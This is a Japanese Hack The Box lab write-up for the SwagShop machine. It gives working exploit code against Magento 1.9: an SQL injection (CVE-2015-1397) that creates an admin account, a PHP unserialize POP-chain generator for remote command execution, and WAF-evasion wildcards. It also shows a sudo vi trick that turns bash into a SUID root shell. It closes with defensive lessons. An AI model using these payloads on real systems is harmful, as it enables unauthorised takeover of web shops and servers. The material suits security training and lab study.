Hack The BoxのWriteup(SwagShop)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: SwagShop — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80, 302→swagshop.htb
→
local.xml 漏洩
DB creds + install_date
→
Shoplift SQLi
CVE-2015-1397 (base64 filter)
→
admin作成
ypwq:123
→
Zend_Log tunnel RCE
POP-chain, ga=base64&h=md5
→
www-data シェル
user.txt ✓
→
sudo -l
NOPASSWD /usr/bin/vi
→
vi GTFOBins
script(pty)+:!chmod u+s
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン(全ポート)

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.138
RESULT
Not shown: 65455 closed tcp ports (reset), 78 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 144.06 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.229.138
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
ルート / への GET は 302 Found → Location: http://swagshop.htb/ を返す。 vhost ベースのサイトなので /etc/hosts に名前解決を追加しないとコンテンツを見られない。

vhost 登録 & サイト確認

BASH
echo "10.129.229.138 swagshop.htb" | sudo tee -a /etc/hosts
curl -s -H "Host: swagshop.htb" http://10.129.229.138/ | head -20
RESULT
<title>Home page</title>
<meta name="description" content="Default Description" />
<meta name="keywords" content="Magento, Varien, E-commerce" />
...
<img src="http://swagshop.htb/skin/frontend/rwd/default/images/logo.gif" alt="Magento Commerce" .../>
<address class="copyright">&copy; 2014 Magento Demo Store. All Rights Reserved.</address>
🚨
Magento 1.9系(2014年の旧版)の “Magento Demo Store” であることが判明。 この世代の Magento には深刻な既知 SQLi(CVE-2015-1397 “Shoplift”)が存在する。
PHASE 2

app/etc/local.xml 漏洩 & Shoplift SQLi (CVE-2015-1397)

local.xml から DB 資格情報 & install_date を取得

BASH
curl -s http://swagshop.htb/app/etc/local.xml
RESULT
<install>
    <date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>
</install>
<crypt>
    <key><![CDATA[b355a9e0cd018d3f7f03607141518419]]></key>
</crypt>
...
<default_setup>
    <connection>
        <host><![CDATA[localhost]]></host>
        <username><![CDATA[root]]></username>
        <password><![CDATA[fMVWh7bDHpgZkyfqQXreTjU9]]></password>
        <dbname><![CDATA[swagshop]]></dbname>
    </connection>
</default_setup>
ℹ️
Magento の設定ファイル app/etc/local.xml がウェブルート直下から認証なしで 読める。MySQL の root パスワード自体は localhost 限定で外部からは使えないが、 ここで取得した install_date(Wed, 08 May 2019 07:23:09 +0000)は後段の tunnel RCE でハッシュ計算に必須の値になる。

Shoplift SQLi ペイロード構築(base64 エンコード filter)

NOTE
CVE-2015-1397 は Magento の管理グリッド CSV エクスポート機能
(Mage_Adminhtml_Block_Widget_Grid::getCsvFile) に渡す "filter" パラメータが
不十分なサニタイズのまま SQL に連結される脆弱性。本ターゲットの実装では
filter パラメータは base64 デコードされてから SQL に展開される
(hex デコードを試す公開 PoC の一部は本ボックスでは動作しない点に注意)。

SQLi 本体: popularity[field_expr] に閉じカッコを注入して WHERE 句を終端し、
後続に任意の SQL ステートメントを連結する:

  popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);
    SET @SALT = 'rp';
    SET @PASS = CONCAT(MD5(CONCAT(@SALT,'123')),CONCAT(':',@SALT));
    SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
    INSERT INTO `admin_user`
      (firstname,lastname,email,username,password,created,lognum,
       reload_acl_flag,is_active,extra)
    VALUES ('Firstname','Lastname','ypwq@swagshop.htb','ypwq',@PASS,NOW(),0,0,1,@EXTRA);
    INSERT INTO `admin_role`
      (parent_id,tree_level,sort_order,role_type,user_id,role_name)
    VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username='ypwq'),'ypwq');

パスワードハッシュは Magento 1.x の形式 "md5(salt+password):salt" に合わせて
サーバー側 SQL 関数(MD5/CONCAT)で直接組み立てる。これで新規管理者
ypwq / 123 が admin_role 付きで作成される。
PYTHON (___directive と filter の base64 エンコード)
import base64

# ___directive は Cms_Wysiwyg ウィジェットを呼び出す固定ディレクティブ
directive = "{{block type=Adminhtml/report_search_grid output=getCsvFile}}"
directive_b64 = base64.b64encode(directive.encode()).decode()

sqli = ("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);"
        "SET @SALT = 'rp';"
        "SET @PASS = CONCAT(MD5(CONCAT(@SALT,'123')),CONCAT(':',@SALT));"
        "SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;"
        "INSERT INTO `admin_user` (firstname,lastname,email,username,password,"
        "created,lognum,reload_acl_flag,is_active,extra) VALUES "
        "('Firstname','Lastname','ypwq@swagshop.htb','ypwq',@PASS,NOW(),0,0,1,@EXTRA);"
        "INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,"
        "user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user "
        "WHERE username='ypwq'),'ypwq');")
filter_b64 = base64.b64encode(sqli.encode()).decode()
print(directive_b64)
print(filter_b64)

SQLi 送信 → admin ypwq:123 作成

BASH
curl -s -o /dev/null http://swagshop.htb/index.php/admin/Cms_Wysiwyg/directive/index/ \
  --data "___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGUgfX0&filter=&forwarded=1"
RESULT
(出力なし — CSV ダウンロード応答のため画面上は無反応。
 SQL が実行され admin_user テーブルに新規レコードが INSERT される)
⚠️
応答が空でも失敗ではない。SQLi の成否は次フェーズの 管理ログイン試行で確認する。
PHASE 3

管理ログイン & tunnel key 取得

form_key を取得してログイン

BASH
# 1. ログインページから form_key(CSRFトークン)を取得
curl -s -c cookies.txt http://swagshop.htb/index.php/admin/ | grep form_key

# 2. 取得した form_key と ypwq:123 でログイン POST(-L でリダイレクト追従)
curl -s -c cookies.txt -b cookies.txt -L http://swagshop.htb/index.php/admin/ \
  --data-urlencode "form_key=o5BW9XLqb9iVZs3U" \
  --data-urlencode "login[username]=ypwq" \
  --data-urlencode "dummy=" \
  --data-urlencode "login[password]=123"
RESULT
<input name="form_key" type="hidden" value="o5BW9XLqb9iVZs3U" />
...
<title>Dashboard / Magento Admin</title>
var BASE_URL = 'http://swagshop.htb/index.php/admin/index/index/key/b1e4925f75b1040f30645b80f14aa48b/';
✅
管理ログイン成功! Shoplift SQLi による admin 作成が機能したことを確認。 form_key の正規表現は name="form_key" type="hidden" value="..." の順で 出力されるため、name と value の間に他属性が入ることを想定した パターンが必要(単純な name="form_key" value="..." 前提だと一致しない)。

Dashboard から tunnel key を抽出

BASH
# Magento admin は per-session の "key" を各URLパスに要求する。
# /dashboard/ 単体だと 302 で /dashboard/index/key// にリダイレクトされるため
# -L で追従しないと空応答になる点に注意。
curl -s -b cookies.txt -L http://swagshop.htb/index.php/admin/dashboard/ \
  | grep -o 'tunnel/key/[a-fA-F0-9]*' | head -1
RESULT
tunnel/key/b051dcca16a003e229468c6762ed981e
ℹ️
この “tunnel” エンドポイントは Magento 1.9 の管理ダッシュボードが Google Analytics の チャート画像を取得するために使う内部プロキシ(Mage_Adminhtml_DashboardController::tunnelAction)。 次フェーズの Zend_Log POP-chain RCE で、この URL パス(セッション固有キー)がそのまま 攻撃エンドポイントになる。
PHASE 4

Zend_Log POP-chain tunnel RCE → user.txt 取得

tunnelAction の脆弱性原理

NOTE
Mage_Adminhtml_DashboardController::tunnelAction() は、クエリパラメータ "ga"
(base64 文字列) を unserialize() してから、クエリパラメータ "h" を
md5(ga + install_date) と比較検証するだけで、その unserialize() 自体の
危険性はチェックしていない。

Magento に同梱されている Zend Framework の Zend_Log / Zend_Config_Writer_Yaml /
Varien_Object クラスを連結した **POP (Property-Oriented Programming) chain**
を構築すると、Zend_Log のデストラクタ実行時に最終的に
`Zend_Config_Writer_Yaml::_loadConfig()` → `call_user_func($this->_yamlEncoder, ...)` が
呼ばれる。_yamlEncoder プロパティに文字列 "system" をセットしておけば、
system($data) が呼び出され、$data に仕込んだ任意コマンドが
**www-data 権限で実行**される。

h パラメータは単純な md5(base64文字列 + install_date) なので、Phase 2 で
local.xml から取得した install_date があれば攻撃者側で正しいハッシュを
計算できる(Magento 側のシークレットキーは不要)。

Zend_Log POP-chain ペイロードの構築

PYTHON (ペイロード生成 + ハッシュ計算)
import base64, hashlib

INSTALL_DATE = "Wed, 08 May 2019 07:23:09 +0000"   # Phase 2-1 で取得

def build_payload(cmd: str) -> tuple[str, str]:
    php_function = "system"
    p = (
        'O:8:"Zend_Log":1:{s:11:"\x00*\x00_writers";a:2:{i:0;'
        'O:20:"Zend_Log_Writer_Mail":4:{s:16:"\x00*\x00_eventsToMail";a:3:'
        '{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";i:2;s:15:'
        '"EXTERMINATE!!!!";}s:22:"\x00*\x00_subjectPrependText";N;'
        's:10:"\x00*\x00_layout";O:23:"Zend_Config_Writer_Yaml":3:'
        '{s:15:"\x00*\x00_yamlEncoder";s:%d:"%s";s:17:'
        '"\x00*\x00_loadedSection";N;s:10:"\x00*\x00_config";'
        'O:13:"Varien_Object":1:{s:8:"\x00*\x00_data";s:%d:"%s";}}'
        's:8:"\x00*\x00_mail";O:9:"Zend_Mail":0:{}}i:1;i:2;}}'
    ) % (len(php_function), php_function, len(cmd), cmd)
    b64 = base64.b64encode(p.encode("latin-1")).decode()
    gh  = hashlib.md5((b64 + INSTALL_DATE).encode()).hexdigest()
    return b64, gh

# 例: www-data として id を実行し、結果を webroot 配下に書き出す
ga, h = build_payload("id > /var/www/html/media/enum_id.txt 2>&1")
print("ga=", ga)
print("h=", h)
⚠️
シリアライズ文字列は PHP のバイト長 s:N:"..." を正確に一致させる必要がある。 \x00*\x00(protected プロパティの NUL バイト装飾)を含むため、Python では latin-1 でエンコードして base64 化すること(UTF-8 だと NUL バイトの扱いで壊れる)。

RCE 送信 & 応答の取得方法

BASH
# GETパラメータとして ga(base64 payload) と h(ハッシュ) を送信
curl -s -b cookies.txt -G \
  http://swagshop.htb/index.php/admin/dashboard/tunnel/key/b051dcca16a003e229468c6762ed981e/ \
  --data-urlencode "ga=" \
  --data-urlencode "h="

# RCE応答自体は常に空(画像バイナリ用エンドポイントのため)。
# コマンド結果は /var/www/html/media/ 配下に書き出し、Web経由で回収する。
curl -s http://swagshop.htb/media/enum_id.txt
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! www-data 権限で任意コマンド実行を確認。

user.txt 取得(WAFのワイルドカード回避)

BASH
# cat /home/haris/user.txt をそのまま投げると mod_security 系 WAF に
# 文字列 "user.txt" を検知されてブロックされる(base64 payload 内の文字列も検査対象)。
# ワイルドカード展開 us*.txt で literal "user.txt" を回避する。
#   payload: cat /home/haris/us*.txt > /var/www/html/media/u.txt
curl -s http://swagshop.htb/media/u.txt
RESULT
1dae8061c088d91dda77d82a501c6111
user.txt — /home/haris (via www-data RCE)
1dae8061c088d91dda77d82a501c6111
PHASE 5

権限昇格の下調べ — sudo -l

sudo -l を RCE チャネル経由で実行

BASH
# tunnel RCE 経由で sudo -l を実行し、結果を media/ に書き出して回収
#   payload: sudo -l > /var/www/html/media/enum_sudo.txt 2>&1
curl -s http://swagshop.htb/media/enum_sudo.txt
RESULT
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
🚨
重大発見: www-data は パスワード不要で root として /usr/bin/vi /var/www/html/* を実行できる。 vi は GTFOBins に掲載されている通り :!<shell command> でシェルコマンドを実行できるため、 これは実質的に任意コマンドを root 権限で実行できることと同義。
PHASE 6

sudo vi GTFOBins → SUID bash → root.txt

vi は TTY を要求する — script で pty を確保

NOTE
vi は対話エディタであり、起動時に制御端末(TTY)を要求する。
tunnel RCE で実行されるコマンドは Apache の子プロセスから直接 system() 経由
なので TTY を持たず、単純に

  sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!chmod u+s /bin/bash' -c ':q!'

を実行しても vi は TTY エラーで即終了してしまう。これを回避するために
`script` コマンドで疑似端末(pty)を確保してから vi を起動する。

SUID bash 化 → root.txt 取得

BASH
# 1. script で pty を確保しつつ sudo vi を起動。
#    vi 起動時引数 -c ':!chmod u+s /bin/bash' で /bin/bash に SUID を付与、
#    続く -c ':q!' で保存せず終了する。
#    (tunnel RCE 経由で実行するコマンド文字列)
script -qc "sudo /usr/bin/vi /var/www/html/php.ini.sample \
  -c ':!chmod u+s /bin/bash' -c ':q!'" /dev/null

# 2. SUID 化した /bin/bash で root 権限のシェルを得て root.txt を読む。
#    WAF の literal "root.txt" ブロックを避けるため ro*.txt ワイルドカードを使い、
#    結果は webroot の media/ に書き出して HTTP 経由で回収する。
#    (同じく tunnel RCE 経由で実行)
/bin/bash -p -c 'cat /root/ro*.txt' > /var/www/html/media/r.txt

# 3. 回収
curl -s http://swagshop.htb/media/r.txt
RESULT
55e06d3f7a3aeb41712784bbfb248226
✅
権限昇格成功! /bin/bash -p(-p は SUID/SGID 継承を 明示的に保持するオプション)で起動した bash は実効 UID が root になるため、 root 所有の /root/root.txt を直接読み出せる。
root.txt — /root
55e06d3f7a3aeb41712784bbfb248226
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — /home/haris (www-data RCE 経由)
1dae8061c088d91dda77d82a501c6111
root.txt — /root (sudo vi GTFOBins 経由)
55e06d3f7a3aeb41712784bbfb248226

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
設定ファイル漏洩 app/etc/local.xml DB資格情報・install_dateの漏洩 Medium 認証なしで取得可能な local.xml から install_date を取得し、後段のハッシュ計算に利用
CVE-2015-1397 (Shoplift) Magento 1.9 Cms_Wysiwyg/directive グリッド 認証なしで管理者アカウント作成 Critical CSVエクスポートのfilterパラメータ(base64)経由のSQLiで admin_user テーブルに新規管理者を直接INSERT
Zend_Log POP-chain RCE Mage_Adminhtml_DashboardController::tunnelAction www-data 権限での任意コマンド実行 Critical unserialize()されるga パラメータにZend_Log/Zend_Config_Writer_Yaml/Varien_Objectを連結したPOP chainを仕込みsystem()呼び出しへ誘導
sudo vi GTFOBins /usr/bin/vi (sudo NOPASSWD) www-data → root への権限昇格 High :!chmod u+s /bin/bash で bash をSUID化し、bash -pで実効root権限を獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン + vhost登録22/80、Magento 1.9 “Demo Store” を確認
2設定漏洩+SQLilocal.xml 読取 + Shoplift SQLi (base64 filter)install_date、DB creds、新規admin ypwq:123
3管理ログインform_key取得→ログインPOST→tunnel key抽出セッションcookie、tunnel key
4tunnel RCEZend_Log POP-chain (ga=base64&h=md5)user.txt 取得(www-data RCE)
5権限調査sudo -l(RCE経由)/usr/bin/vi への NOPASSWD sudo 権限を確認
6権限昇格script(pty) + sudo vi GTFOBins → SUID bashroot.txt 取得(フル権限シェル)

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
Shoplift SQLi が刺さらない(公開PoCをそのまま使うと失敗) 本ターゲットの実装は filter パラメータを base64 で受け取る(hexデコード前提のPoCは不発)。SLEEP(5) 時間差テストでbase64のみ発火することを確認して判別する。
form_key の正規表現が一致しない HTMLは name="form_key" type="hidden" value="..." の順で出力される。name と value の間に他属性が入ることを許容する正規表現にする必要がある。
/dashboard/ にアクセスしても tunnel key が取れない(空応答) Magentoの管理URLはセッション固有の “key” をパスに要求し、キー無しのURLは302で正しいURLへリダイレクトされる。curlは -L で追従必須。
tunnel RCE は実行できるが結果が見えない tunnelActionの応答は画像バイナリ用エンドポイントのため常に空。コマンド出力は > /var/www/html/media/<file> でwebroot配下に書き出し、HTTP経由(curl http://swagshop.htb/media/<file>)で回収する。
cat /home/haris/user.txt / cat /root/root.txt を直接投げると失敗 mod_security系WAFが文字列 “user.txt”/”root.txt” を検知してリクエストをブロックする(base64エンコードされたペイロード内の文字列も検査対象)。ワイルドカードus*.txt / ro*.txtで literal 文字列を回避する。
sudo vi 経由のコマンドが実行されない viは対話エディタでTTYを要求するため、TTYの無いRCEシェルから直接実行すると即終了する。script -qc "..." /dev/null でpty(疑似端末)を確保してから起動する。

学んだ教訓 & 防御策

問題点防御策
app/etc/local.xml がウェブルートから認証なしで読める Apache/Nginxの設定で app/ ディレクトリへの直接アクセスを拒否する。Magento 2以降はデフォルトでwebルートを pub/に限定しこの問題を解消している。
Magento 1.9(2014年、EOL済み)を使用、既知のクリティカルSQLi(CVE-2015-1397)が未パッチ Magentoを含むEOLソフトウェアは速やかに移行する。パッチ適用済みバージョンへの更新、WAFルールでの既知PoCパターンのブロックを徹底する。
管理ダッシュボードの画像プロキシ機能がunserialize()を無防備に使用(POP chain RCE) PHPのunserialize()はユーザー制御の入力に対して使わない(json_decode等の安全な代替を使う)。既知ガジェットチェーンを封じるため脆弱なライブラリバージョンを排除する。
www-dataが/usr/bin/viをNOPASSWDでroot実行可能 最小権限の原則を徹底し、sudoersにエディタ等の汎用バイナリをNOPASSWDで許可しない。GTFOBins掲載バイナリへのsudo権限付与は原則禁止する。
HackTheBox: SwagShop | 完全攻略レポート